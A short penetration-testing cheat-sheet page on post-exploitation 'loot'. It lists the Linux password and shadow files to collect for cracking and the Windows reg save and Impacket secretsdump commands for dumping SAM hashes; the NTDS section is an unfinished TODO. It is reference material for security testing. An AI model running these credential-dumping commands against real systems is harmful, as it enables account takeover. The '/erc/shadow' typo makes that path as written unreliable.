> For the complete documentation index, see [llms.txt](https://d4rk1337.gitbook.io/the-pentesters-cheat-sheet/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://d4rk1337.gitbook.io/the-pentesters-cheat-sheet/post-exploitation/01-loot.md).

# Loot

Once we are `root` or `NT AUTHORITY\SYSTEM` it's time to collect some loot. 🤑🤑🤑

## Linux

### Dump users and passwords

Collect files on target

```bash
/etc/passwd
/erc/shadow
```

Then [unshadow and crack](/the-pentesters-cheat-sheet/exploitation/passwords/02-john-the-ripper.md) them.

## Windows

### Dump SAM

Collect files on target

```
reg save hklm\sam .\sam
reg save hklm\security .\security
reg save hklm\system .\system
```

Then crack them using Impackets' secretsdump

```bash
secretsdump.py -sam sam -security security -system system LOCAL
```

### Dump NTDS (DC)

By default, the `Ntds.dit` file is located in `%SystemRoot%\NTDS\Ntds.dit` of a domain controller.

TODO (see /13-misc/impacket.md)